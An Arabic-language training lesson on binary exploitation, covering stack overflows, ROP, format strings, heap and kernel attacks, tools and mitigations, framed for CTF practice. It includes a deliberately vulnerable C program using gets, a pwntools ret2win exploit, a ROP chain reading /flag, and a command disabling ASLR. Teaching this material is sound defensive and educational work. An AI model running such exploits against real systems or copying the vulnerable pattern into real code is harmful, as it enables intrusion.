الفرق الحمراء — الهجومخبير150mL67
Binary Exploitation — الذاكرة من جوّه
Stack و Heap overflows و ROP — وتعدية ASLR/DEP
#BoF#ROP#Heap#ASLR
استغلال الذاكرة — جذور الأمن السيبراني
تشبيه — شرح مبسط
بُص. الـ memory corruption عمره 30 سنة، وبرضو لسه بيكسر العالم في 2026. - طب ايه يا حضرتك؟؟ مش ASLR + DEP + Canary + CFI كلهم شغّالين؟ يا نجم الجيل.. الحمايات دي زي الأقفال — أي قفل ليه مفتاح. الزتونة إن C/C++ بيدّوا المبرمج صلاحيات ربنا من غير ما يحاسبوه على حاجة. ذاكرة البرنامج زي دفتر حسابات: الـ stack مكتب الموظف، والـ heap أرشيف عام. لو كتبت بره خانة الإدخال، هتكتب فوق عمود "التوقيع" — والبرنامج هيقفز لعنوان انت كاتبه بإيدك، مش العنوان اللي المبرمج قصده. ده استغلال الذاكرة من الآخر.
أرقام تخلّيك تفكّر: Microsoft و Google نشروا إن ~70% من الـ CVEs السنوية بتاعتهم memory safety. ده مش رقم صغير. ده يعني إن لغة C اللي عمرها 53 سنة لسه بتولد كل سنة آلاف الكوارث. ولما Google نقلت أجزاء من Android لـ Rust، الفئة دي اختفت.
مهم
الدرس ده للفهم وللتدريب على بيئات CTF (pwn.college, HackTheBox, ROP Emporium). مفيش 0-days ضد منتجات إنتاجية. كتابة exploit ضد منتج تجاري من غير تفويض = جريمة.
اوعى تعمل الغلطات دي
- بيشغّل الـ binary من غير
checksecالأول — كده ما عندكش فكرة لو ASLR/Canary شغّالين، فبتلف ساعتين على حلّ غلط. - بيكتب exploit مظبوط على الـ libc بتاعه ويفاجأ إنه فاشل على الـ remote — الـ libc fingerprinting خطوة أساسية، مش ترفيه.
- بيعتمد على hardcoded offsets ويبكي لما تطلع نسخة glibc جديدة.
- بينسى يطفي ASLR للـ debugging المحلي (
echo 0 > /proc/sys/kernel/randomize_va_space) ويقعد يلوم نفسه.
بنية البرنامج في الذاكرة
- .text — التعليمات (read+execute).
- .data / .bss — متغيرات عامة.
- Heap — تخصيص ديناميكي (
malloc, new) — ينمو لأعلى. - Stack — استدعاءات الدوال — ينمو لأسفل في معظم المعماريات.
- Libraries (libc, ld) — مكتبات مشتركة.
memory layout (x86_64 Linux)
0x7ffffffff000 ─┐
│ Stack (grows down)
│
▼
...
▲
│ Heap (grows up)
┴
.bss / .data
.text (program code)
0x000000400000Stack Buffer Overflow — الكلاسيكي
C — vulnerable
#include <stdio.h>
void win() { system("/bin/sh"); }
int main() {
char buf[64];
gets(buf); // bug — لا حدّ
return 0;
}الـ stack بعد دخول main:
stack frame
high addresses
+------------------+
| return address | <-- نريد تغييره
+------------------+
| saved RBP |
+------------------+
| buf[64] | <-- gets يكتب هنا
+------------------+
low addressesلو كتبنا 72 بايت + عنوان win، الـ shell بيشتغل. كدة ببساطة.
exploit (pwntools)
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
payload = b"A"*72 + p64(elf.sym.win)
p.sendline(payload)
p.interactive()حماية: Stack Canary
المترجم بيحط قيمة عشوائية قبل الـ saved RBP. لو الـ overflow غيّرها، البرنامج بيقتل نفسه قبل الـ return. عشان تتخطاها لازم تسرّب الـ canary الأول (format string، partial overwrite).
ASLR وDEP/NX
- ASLR — عناوين الـ stack/heap/libs بتكون عشوائية كل تشغيلة. عشان تتخطاها لازم info leak.
- DEP/NX — الـ stack والـ heap مش قابلين للتنفيذ. مينفعش تحط shellcode فيهم وتشغله مباشرة.
- PIE — حتى الـ .text بيبقى عشوائي.
- RELRO — بيمنع overwrite للـ GOT.
- CFI — Control Flow Integrity (Clang, MSVC).
Return-Oriented Programming (ROP)
تشبيه — شرح مبسط
لو ممنوعين نألف جملة جديدة (NX)، بناخد كلمات من كتاب موجود (libc) ونعيد ترتيبها بطريقتنا. كل "كلمة" هي gadget بتنتهي بـ
ret، إحنا بنسلسلهم على الـ stack.ROP chain — open/read/write a file (concept)
# اكتشف الـ gadgets
ROPgadget --binary ./libc.so.6 | grep "pop rdi"
# 0x000023b6a : pop rdi ; ret
# 0x0000241c1 : pop rsi ; pop r15 ; ret
# 0x0000114b0 : ret
# ابنِ chain بـ pwntools
rop = ROP(libc)
rop.call('open', ['/flag', 0])
rop.call('read', [3, libc.bss(), 0x100])
rop.call('write', [1, libc.bss(), 0x100])
payload = b"A"*72 + rop.chain()التنويعات
- ret2libc — استدعاء system("/bin/sh") مباشرة.
- ret2dlresolve — بيحل الـ symbols ديناميكياً من غير ما تحتاج info leak.
- SROP (Sigreturn-Oriented) — استغلال signal frame.
- JOP (Jump-Oriented) — مش بيستخدم
ret. - COP (Call-Oriented) — مع indirect calls.
Format String — قوة كاملة من حرف واحد
C — vuln
printf(user_input); // ← غلطة شائعة جداً
// لو user_input = "%x %x %x %s"
// قيم من الـ stack بتطبع — تسريب canary, libc, retaddr- %x %s %p — تسريب.
- %n — كتابة (بيكتب عدد الحروف المطبوعة لعنوان من الـ args).
- أداة fmtstr_payload في pwntools بتجهز الـ payload أوتوماتيك.
Heap Exploitation — أعمق طبقة
الـ heap allocator (ptmalloc/glibc) بيدير قوائم الـ free chunks. لو لعبت في الـ metadata بتاعتها، بتحول الموضوع لـ arbitrary write.
تكنيكات معروفة
- Use-After-Free (UAF) — استخدام pointer بعد ما تعمل له
free. - Double Free —
free(p); free(p);. - Heap overflow — كتابة فوق الـ chunk اللي بعدها.
- Tcache poisoning (glibc 2.27+) — تلويث الـ singly-linked list.
- Fastbin attack, Unsorted Bin attack, House of * (Spirit, Force, Orange...).
- Safe-Linking bypass (glibc 2.32+).
UAF concept
Object* o = new Object(0x41);
delete o;
// p لا يزال يشير إلى نفس الذاكرة
Object* fake = new Object(0x42); // غالباً نفس chunk
o->method(); // ينفّذ على fake — type confusionللتعمق: how2heap repo (shellphish) — كل تكنيك ومعاه PoC شغّال.
Kernel exploitation — مقدمة
الانتقال من user-space للـ kernel = root كامل. التكنيكات الشائعة:
- UAF / heap overflow في الـ kernel objects.
- Race conditions (DirtyCOW, DirtyPipe).
- Type confusion في الـ ioctl / netlink.
- تخطي SMEP/SMAP/KASLR/KPTI.
- kROP جوه الـ kernel.
اتدرب على: kernelpop, kernel-exploitation labs في pwn.college.
Browser & Sandbox — أعقد جبهة
- JIT compilers (V8, JSCore, SpiderMonkey) — ثغرات type confusion.
- Renderer compromise وبعدها sandbox escape عن طريق IPC.
- سلاسل Pwn2Own: من 3 لـ 5 ثغرات عشان توصل من tab للـ kernel.
- للقراءة: Project Zero blog، Phrack، Microsoft Security Response.
إزاي تطور Exploit — المنهجية
01
Triage
شغّله، تابع الـ crash، حدد نوع الـ bug (read/write/exec primitive).
02
Primitive
حول الـ bug لـ read primitive و write primitive.
03
تخطي الحمايات
ASLR → leak. NX → ROP. Canary → leak أو overwrite جزئي.
04
اختطاف الـ control flow
RIP → gadget → shell.
05
موثوقية
جربه تحت ظروف مختلفة (load, ASLR, kernel versions).
06
Weaponize
خليه يشتغل من غير تفاعل (1-click → 0-click).
الأدوات
toolkit
# debugging
gdb + pwndbg / gef / peda
windbg + retsync (Windows)
lldb (macOS/iOS)
# analysis
Ghidra, IDA Pro, Binary Ninja, radare2/cutter
angr (symbolic execution)
afl++, libFuzzer, honggfuzz (fuzzing)
# exploitation
pwntools (Python)
ROPgadget, ropper, OneGadget
checksec
patchelf (لتعديل binary للتجارب)الحماية — اللي بيخلي الاستغلال أصعب
- اللغات اللي ذاكرتها آمنة: Rust, Go, Swift — بتمنع معظم الفئات من الأصل.
- Compiler flags:
-fstack-protector-strong -D_FORTIFY_SOURCE=2 -Wl,-z,relro,-z,now -fPIE -pie. - ASLR كامل + Kernel ASLR + kernel KPTI.
- CFI (Clang's CFI، MS Control Flow Guard).
- Shadow stack (Intel CET).
- Sandboxing (seccomp-bpf, gVisor, Firejail).
- Memory tagging (ARM MTE).
- تنويع الـ heap (Scudo, hardened_malloc).
- استبدل C/C++ ببدائل آمنة في أي حاجة بتاكل user input.
اللي بيحصل فعلياً
Microsoft و Google: ~70% من ثغراتهم memory safety. لما نقلوا أجزاء للـ Rust، الفئة دي اختفت. يبقى السؤال مش "إزاي نحمي C؟" — السؤال "لسه بنكتب C ليه أصلاً في 2026؟".
مسار التعلم
- pwn.college — مجاني، شامل من الصفر لحد الـ kernel.
- ROP Emporium — تركيز على ROP.
- HackTheBox — قسم pwn.
- OpenSecurityTraining2 — كورسات عميقة.
- Phrack Magazine, Project Zero, Exploit-DB write-ups للقراءة الجادة.
- شهادة OSED (Offensive Security Exploit Developer) للسكة الاحترافية.
الخلاصة الناشفة
الـ binary exploitation مش بيتعلم في شهر. بيتعلم في سنين. CTFs منتظمة. Phrack من عدد 1985. how2heap من الأول للآخر. اللي بيستعجل بيقعد طول عمره عند "ret2win" وفاكر إنه "عرف الموضوع". اللي بيصبر بيوصل لـ Pwn2Own. اكتبها على ظهر إيدك: ما فيش short-cuts في pwn. أنت ونصيبك مع الصبر.